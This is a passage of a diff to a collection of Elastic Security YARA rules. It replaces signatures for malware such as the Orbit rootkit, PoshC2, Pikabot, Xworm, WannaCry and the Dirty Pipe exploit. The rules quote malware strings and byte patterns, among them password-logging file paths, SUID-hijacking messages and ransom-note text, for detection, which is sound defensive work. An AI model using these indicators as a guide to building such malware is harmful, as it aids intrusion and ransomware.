+		modified = "2023-04-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Orbit.yar#L1-L40"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020"
-		logic_hash = "25b29e874ea9d400662418ddbb1c995a5a5b49f8ba6f51f59f7aa57cdda74054"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PoshC2.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7a718a4f74656346bd9a2e29e008705fc2b1c4d167a52bd4f6ff10b3f2cd9395"
+		logic_hash = "4f3e2a9f22826a155a3007193a0f75a5fde6e423734a60f30628ea3bb33d3457"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0bb1c74f872ea8778a442aafc2c6f3f04e331b7f743ba726257e36b09ef33da4"
+		fingerprint = "30a9161077a90068acf756dcc2354bd04186f87717e32cccdcacc9521c41ddde"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$loaderstrings0 = "shred"
-		$loaderstrings1 = "newpath" fullword
-		$loaderstrings2 = "shm update" fullword
-		$loaderstrings3 = "cp -p %s /dev/shm/ldx/.backup_ld.so" fullword
-		$loaderstrings4 = "/dev/shm/ldx/libdl.so\n" fullword
-		$loaderstrings5 = "oldpath: %s newpath: %s\n" fullword
-		$loaderstrings6 = "can't locate oldpath" fullword
-		$loaderstrings7 = "specify dir" fullword
-		$loaderstrings8 = "/sshpass.txt"
-		$loaderstrings9 = "/sshpass2.txt"
-		$loaderstrings10 = "/.logpam"
-		$loaderstrings11 = "/.boot.sh"
-		$tmppath = "/tmp/.orbit" fullword
-		$functionName0 = "tcp_port_hidden" fullword
-		$functionName1 = "clean_ports" fullword
-		$functionName2 = "remove_port" fullword
-		$execvStrings0 = "[%s] [%s] [BLOCKED] %s " fullword
-		$execvStrings1 = "[%s] [%s] %s " fullword
-		$execvStrings2 = "%m-%d %H:%M:%S" fullword
-		$pam_log_password = { 8B 45 F8 48 98 C6 84 05 F0 FE FF FF 00 48 8D 85 F0 FE FF FF B9 A4 01 00 00 BA 42 04 00 00 48 89 C6 BF 02 00 00 00 B8 00 00 00 00 E8 B6 C2 FE FF 89 45 F4 48 8B 8D E0 FE FF FF 48 8B 95 E8 FE FF FF 48 8D 85 F0 FE FF FF }
-		$load_hidden_ports = { 48 8B 45 ?? BE 0A 00 00 00 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? 00 75 }
-		$hosts_access = { 8B 45 ?? 48 98 C6 84 05 D0 EF FF FF 00 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? 00 00 48 8B 95 C8 EF FF FF 48 89 D7 FF D0 89 45 ?? 48 8D 85 D0 EF FF FF 48 89 45 ?? EB }
+		$a1 = "Sharp_v4_x64.dll"
+		$a2 = "Sharp_v4_x86_dll"
+		$a3 = "Posh_v2_x64_Shellcode" wide
+		$a4 = "Posh_v2_x86_Shellcode" wide
+		$b1 = "kill-implant" wide
+		$b2 = "run-dll-background" wide
+		$b3 = "run-exe-background" wide
+		$b4 = "TVqQAAMAAAAEAAAA"
 
 	condition:
-		7 of ($loaderstrings*) or ( all of ($functionName*) and $tmppath and all of ($execvStrings*)) or 2 of ($pam_log_password,$load_hidden_ports,$hosts_access)
+		1 of ($a*) and 1 of ($b*)
 }
-rule ELASTIC_Linux_Ransomware_Noescape_6De58E0C : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Ragnarlocker_9F5982B8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Noescape (Linux.Ransomware.NoEscape)"
+		description = "Detects Linux Ransomware Ragnarlocker (Linux.Ransomware.RagnarLocker)"
 		author = "Elastic Security"
-		id = "6de58e0c-67f9-4344-9fe9-26bfc37e537e"
+		id = "9f5982b8-98db-42d1-b987-451d3cb7fc4b"
 		date = "2023-07-27"
 		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_NoEscape.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "46f1a4c77896f38a387f785b2af535f8c29d40a105b63a259d295cb14d36a561"
-		logic_hash = "c275d0cfdadcaabe57c432956e96b4bb344d947899fa5ad55b872e02b4d44274"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_RagnarLocker.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f668f74d8808f5658153ff3e6aee8653b6324ada70a4aa2034dfa20d96875836"
+		logic_hash = "c08579dc675a709add392a0189d01e05af61034b72f451d2b024c89c1299ee6c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "60a160abcbb6d93d9ee167663e419047f3297d549c534cbe66d035a0aa36d806"
+		fingerprint = "782d9225a6060c23484a285f7492bb45f21c37597ea82e4ca309aedbb1c30223"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -90155,59 +93987,65 @@ rule ELASTIC_Linux_Ransomware_Noescape_6De58E0C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a1 = "HOW_TO_RECOVER_FILES.txt"
-		$a2 = "large_file_size_mb"
-		$a3 = "note_text"
+		$a1 = ".README_TO_RESTORE"
+		$a2 = "If WE MAKE A DEAL:"
+		$a3 = "Unable to rename file from: %s to: %s"
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Azeela_Aad9D6Cc : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Mylobot_A895174A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Azeela (Linux.Trojan.Azeela)"
+		description = "Detects Windows Trojan Mylobot (Windows.Trojan.MyloBot)"
 		author = "Elastic Security"
-		id = "aad9d6cc-32ff-431a-9914-01c7adc80877"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a895174a-0395-4ccb-b681-e8111a817a5c"
+		date = "2024-05-15"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Azeela.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6c476a7457ae07eca3d3d19eda6bb6b6b3fa61fa72722958b5a77caff899aaa6"
-		logic_hash = "efc8b5de42a2ee2104dc8e8c25b313f6ced2fb291ba27dc8276822960dd7eb74"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_MyloBot.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "33831d9ad64d0f52f507f08ef81607aafa6ced58a189969af6cf57c659c982d2"
+		logic_hash = "16f2d8eeb6c85944030a33bd250e4e8b98985a6c877a0ec3ad5a6037e7c00159"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "3b7c73a378157350344d52acd6c210d5924cf55081b386d0d60345e4c44c5921"
+		fingerprint = "dfa1e47260c0e07fea3b2b61157de71f412807b9eec19b14082da7d6a95d6099"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C0 74 07 B8 01 00 00 00 EB 31 48 8B 45 F8 0F B6 00 3C FF 74 21 48 83 45 }
+		$a1 = "%s\\%s.lnk" wide fullword
+		$a2 = "%s\\%s.exe" wide fullword
+		$a3 = "%s\\%s\\%s.exe" wide fullword
+		$a4 = "HTTP/1.0 502" ascii fullword
+		$a5 = "/c \"%ws '%ws%s'\"" ascii fullword
+		$a6 = ">> %ws %ws %ws" ascii fullword
+		$a7 = "%s\\DefaultIcon" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Pikabot_8C6750B5 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Xworm_732E6C12 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Pikabot (Windows.Trojan.PikaBot)"
+		description = "Detects Windows Trojan Xworm (Windows.Trojan.Xworm)"
 		author = "Elastic Security"
-		id = "8c6750b5-d232-4b72-8fe0-3a00f7058420"
-		date = "2023-06-05"
-		modified = "2023-06-19"
-		reference = "https://www.elastic.co/security-labs/pikabot-i-choose-you"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PikaBot.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "59f42ecde152f78731e54ea27e761bba748c9309a6ad1c2fd17f0e8b90f8aed1"
-		logic_hash = "03e36f927513625d1dd997c79843b1b14e344e8411155740213d7aff9794c5c6"
+		id = "732e6c12-9ee0-4d04-a6e4-9eef874e2716"
+		date = "2023-04-03"
+		modified = "2023-04-23"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Xworm.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bf5ea8d5fd573abb86de0f27e64df194e7f9efbaadd5063dee8ff9c5c3baeaa2"
+		logic_hash = "6aa72029eeeb2edd2472bf0db80b9c0ae4033d7d977cbee75ac94414d1cdff7a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5995c2857b660d92afc197d8a2b0323f4b4f6a0d65d1aeea5d53353c10e8092a"
+		fingerprint = "afbef8e590105e16bbd87bd726f4a3391cd6a4489f7a4255ba78a3af761ad2f0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -90215,102 +94053,100 @@ rule ELASTIC_Windows_Trojan_Pikabot_8C6750B5 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$byte_seq0 = { B8 00 00 00 00 CD 2D 90 C3 CC CC CC CC CC CC CC }
-		$byte_seq1 = { 64 A1 30 00 00 00 8B 40 ?? C3 }
-		$byte_seq2 = { 8B 45 FC 8B 44 85 B4 89 45 F0 8B 45 08 89 45 F8 8B 45 10 C1 E8 02 89 45 F4 }
-		$byte_seq3 = { 8B 4C 8D BC ?? 75 FC 33 C0 64 A1 30 00 00 00 8B 40 68 83 E0 70 89 45 FC }
-		$byte_seq4 = { 8B 45 F8 8B 4D 0C 89 08 8B 45 F8 83 C0 04 89 45 F8 8B 45 F4 48 89 45 F4 }
-		$byte_seq5 = { 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18 C3 }
+		$str1 = "startsp" ascii wide fullword
+		$str2 = "injRun" ascii wide fullword
+		$str3 = "getinfo" ascii wide fullword
+		$str4 = "Xinfo" ascii wide fullword
+		$str5 = "openhide" ascii wide fullword
+		$str6 = "WScript.Shell" ascii wide fullword
+		$str7 = "hidefolderfile" ascii wide fullword
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Pikabot_5B220E9C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Truncpx_894D60F8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Pikabot (Windows.Trojan.PikaBot)"
+		description = "Detects Linux Trojan Truncpx (Linux.Trojan.Truncpx)"
 		author = "Elastic Security"
-		id = "5b220e9c-3232-4a86-82b7-31f96c95242c"
-		date = "2024-02-06"
-		modified = "2024-02-08"
-		reference = "https://www.elastic.co/security-labs/pikabot-i-choose-you"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PikaBot.yar#L27-L52"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d836b06b0118e6d258e318b1cfdc509cacc0859c6a6b3d7c5f4d2525e00d97b2"
-		logic_hash = "1d2158716b7c32734f12f8528352a3872e21fea2f9b21a36d6ac44fcd50a9f3c"
+		id = "894d60f8-bea6-4b09-b8ab-526308575a01"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Truncpx.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2f09f2884fd5d3f5193bfc392656005bce6b935c12b3049ac8eb96862e4645ba"
+		logic_hash = "9bc0a7fbddac532b53c72681f349bca0370b1fe6fb2d16f539560085b3ec4be3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3a7ba8156f9ad017cdb8630770bf900c198215306a125f6f7dcd845f2c683948"
+		fingerprint = "440ce5902642aeef56b6989df4462d01faadc479f1362c0ed90d1011e8737bc3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$byte_seq0 = { 03 44 95 ?? 42 83 FA ?? 7C ?? EB ?? }
-		$byte_seq1 = { 3B C1 73 ?? 80 3C 18 ?? 75 ?? C6 04 18 ?? 40 EB ?? }
-		$byte_seq2 = { 03 C7 03 C8 0F B6 F9 8A 84 3D 34 FD FF FF 88 84 35 34 FD FF FF }
-		$byte_seq3 = { 55 8B EC 83 EC 0C 33 C0 C7 45 F4 05 00 00 00 C7 45 F8 32 00 00 00 8B D0 C7 45 FC C9 FF FF FF }
-		$byte_seq4 = { 55 8B EC 51 51 53 56 89 55 F8 89 4D FC 8B 75 FC 8B 45 F8 33 C9 0F A2 89 06 89 5E 04 89 4E 08 89 }
-		$byte_seq5 = { 8D 5D E8 59 33 D2 C7 45 F8 04 00 00 00 8A 03 8D 0C 16 43 88 04 39 83 6D F8 01 8D 52 04 75 EE 46 }
-		$byte_seq6 = { 55 8B EC 51 51 53 56 89 55 F8 89 4D FC 8B 75 FC 8B 45 F8 33 C9 0F A2 89 06 89 5E 04 89 4E 08 89 }
+		$a = { B9 51 FE 88 63 A1 08 08 09 C5 1A FF D3 AB B2 28 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Pikabot_5441F511 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2022_0847_E831C285 : FILE MEMORY CVE_2022_0847
 {
 	meta:
-		description = "Related to Pikabot core"
+		description = "Detects Linux Exploit Cve 2022 0847 (Linux.Exploit.CVE-2022-0847)"
 		author = "Elastic Security"
-		id = "5441f511-82f2-4971-b9ff-7fe739041357"
-		date = "2024-02-15"
-		modified = "2024-02-21"
-		reference = "https://www.elastic.co/security-labs/pikabot-i-choose-you"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PikaBot.yar#L54-L78"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "fa44408874c6a007212dfc206cbecbac7a3e50df94da4ce02de2e04e9119c79f"
+		id = "e831c285-b2b9-49f3-a87c-3deb806e31e4"
+		date = "2022-03-10"
+		modified = "2022-03-14"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2022_0847.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c6b2cef2f2bc04e3ae33e0d368eb39eb5ea38d1bca390df47f7096117c1aecca"
+		logic_hash = "e15daf5de9bf66060e373a6e772669eade543ed56bef6b6924a0ee44e59522e1"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "7a90c7e21ebffd6276bd53e37d4a09df29d3d1167024b96a39504518f0a38dfe"
-		threat_name = "Windows.Trojan.PikaBot"
+		tags = "FILE, MEMORY, CVE-2022-0847"
+		fingerprint = "376b791f9bb5f48d0f41ead4e48b5bcc74cb68002bb7c170760428ace169457e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
-		$api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
-		$debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
-		$checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
-		$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
-		$read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
+		$pp = "prepare_pipe"
+		$s1 = "splice failed"
+		$s2 = "short splice"
+		$s3 = "short write"
+		$s4 = "hijacking suid binary"
+		$s5 = "Usage: %s TARGETFILE OFFSET DATA"
+		$s6 = "Usage: %s SUID"
+		$bs1 = { B8 00 10 00 00 81 7D EC 00 10 00 00 0F 46 45 EC 89 45 FC 8B 55 FC 48 8B 45 D8 48 83 C0 04 8B 00 48 8D 35 }
+		$bs2 = { B8 00 10 00 00 81 7D F0 00 10 00 00 0F 46 45 F0 89 45 F8 8B 55 F8 48 8B 45 D8 8B 00 48 }
 
 	condition:
-		2 of them
+		($pp and 2 of ($s*)) or ( all of ($bs*))
 }
-rule ELASTIC_Windows_Trojan_Pikabot_95Db8B5A : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Wannacry_D9855102 : FILE MEMORY
 {
 	meta:
-		description = "Related to Pikabot loader"
+		description = "Detects Windows Ransomware Wannacry (Windows.Ransomware.WannaCry)"
 		author = "Elastic Security"
-		id = "95db8b5a-f97d-42bd-a114-e35e031784e2"
-		date = "2024-02-15"
-		modified = "2024-02-21"
-		reference = "https://www.elastic.co/security-labs/pikabot-i-choose-you"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_PikaBot.yar#L80-L103"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "74073ceae1b26b953b7644d56a2ec92993b83802a30ce82c6921df5448ebab06"
+		id = "d9855102-56dc-4e4c-9599-82fa52922b95"
+		date = "2022-08-29"
+		modified = "2022-09-29"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_WannaCry.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0b7878babbaf7c63d808f3ce32c7306cb785fdfb1ceb73be07fb48fdd091fdfb"
+		logic_hash = "5edf6a42c9f20de3819b46f24be243940b79e7e9004fee3d601794ea0b534cf1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f9463fa18fc5975aeabf076490bd8fe79c62c822126c5320f90870a9b4032f60"
-		threat_name = "Windows.Trojan.PikaBot"
+		fingerprint = "f96f2f0eb3cdf6e882adcad06ad10e375412dec99687b3d38d4dbe9bdde52db5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -90318,61 +94154,65 @@ rule ELASTIC_Windows_Trojan_Pikabot_95Db8B5A : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
-		$syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
-		$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
-		$payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
-		$loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
+		$a1 = "@WanaDecryptor@.exe" wide fullword
+		$a2 = ".WNCRY" wide fullword
+		$a3 = "$%d worth of bitcoin" fullword
+		$a4 = "%d%d.bat" fullword
+		$a5 = "This folder protects against ransomware. Modifying it will reduce protection" wide fullword
+		$b1 = { 53 55 56 57 FF 15 D0 70 00 10 8B E8 A1 8C DD 00 10 85 C0 75 6A 68 B8 0B 00 00 FF 15 70 70 00 10 }
+		$b2 = { A1 90 DD 00 10 53 56 57 85 C0 75 3E 8B 1D 60 71 00 10 8B 3D 70 70 00 10 6A 00 FF D3 83 C4 04 A3 }
+		$b3 = { 56 8B 74 24 08 57 8B 3D 70 70 00 10 56 E8 2E FF FF FF 83 C4 04 A3 8C DD 00 10 85 C0 75 09 68 88 }
 
 	condition:
-		2 of them
+		5 of ($a*) or 1 of ($b*)
 }
-rule ELASTIC_Windows_Vulndriver_Amifldrv_E387D5Ad : FILE
+rule ELASTIC_Windows_Ransomware_Stop_1E8D48Ff : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Amifldrv (Windows.VulnDriver.Amifldrv)"
+		description = "Detects Windows Ransomware Stop (Windows.Ransomware.Stop)"
 		author = "Elastic Security"
-		id = "e387d5ad-fde8-401b-bdcf-044c4f7f5fbd"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "1e8d48ff-e0ab-478d-8268-a11f2e87ab79"
+		date = "2021-06-10"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Amifldrv.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fda506e2aa85dc41a4cbc23d3ecc71ab34e06f1def736e58862dc449acbc2330"
-		logic_hash = "14d75b5aff2c82d69b041c654cdc0840f6b6e37a197f5c0c1c2698c9e8eba3e2"
-		score = 60
-		quality = 55
-		tags = "FILE"
-		fingerprint = "03f898088f37f3c9991fb70d7fb8548908cfac4e03bb2bfe88b11a65157909a8"
-		severity = 50
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Stop.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3"
+		logic_hash = "d743feae072a5f3e1b008354352bef48218bb041bc8a5ba39526815ab9cd2690"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "\\amifldrv64.pdb"
+		$a = "E:\\Doc\\My work (C++)\\_Git\\Encryption\\Release\\encrypt_win_api.pdb" ascii fullword
+		$b = { 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		any of them
 }
-rule ELASTIC_Linux_Trojan_Bish_974B4B47 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2017_16995_0C81A317 : FILE MEMORY CVE_2017_16995
 {
 	meta:
-		description = "Detects Linux Trojan Bish (Linux.Trojan.Bish)"
+		description = "Detects Linux Exploit Cve 2017 16995 (Linux.Exploit.CVE-2017-16995)"
 		author = "Elastic Security"
-		id = "974b4b47-38cf-4460-8ff3-e066e5c8a5fc"
-		date = "2021-04-06"
+		id = "0c81a317-b296-4cda-839c-a37903e86786"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Bish.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9171fd2bbe182f0a3cd35937f3ee0076c9358f52f5bc047498dd9e233ae11757"
-		logic_hash = "c5a7d036c89fe50626da51486d19ee731ad28cbc8d36def075d8f33a7b68961f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2017_16995.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "48d927b4b18a03dfbce54bb5f4518869773737e449301ba2477eb797afbb9972"
+		logic_hash = "cdd6b309a1e802f1251d726b0ea74e3d11fdd10d1d0bfa4c6f3d802f819368ec"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "8858f99934e367b7489d60bfaa74ab57e2ae507a8c06fb29693197792f6f5069"
+		tags = "FILE, MEMORY, CVE-2017-16995"
+		fingerprint = "40d192607a7237c41c35d90a48cbcfd95a79c0fe7c8017d41389f15a78d620f5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -90380,28 +94220,28 @@ rule ELASTIC_Linux_Trojan_Bish_974B4B47 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 31 C0 31 DB 31 C9 B0 17 CD 80 31 C0 50 68 6E }
+		$a = { 55 48 89 E5 48 89 7D F8 48 8B 45 F8 48 25 00 C0 FF FF 5D C3 55 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_D13544D7 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2017_16995_82816Caa : FILE MEMORY CVE_2017_16995
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Detects Linux Exploit Cve 2017 16995 (Linux.Exploit.CVE-2017-16995)"
 		author = "Elastic Security"
-		id = "d13544d7-4834-4ce7-9339-9c933ee51b2c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "82816caa-2fff-4b71-9544-443e611aacbf"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "85fa30ba59602199fd99463acf50bd607e755c2e18cd8843ffcfb6b1aca24bb3"
-		logic_hash = "fcb2fc7a84fbcd23f9a9d9fd2750c45ff881689670a373fce0cc444183d11999"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2017_16995.yar#L21-L39"
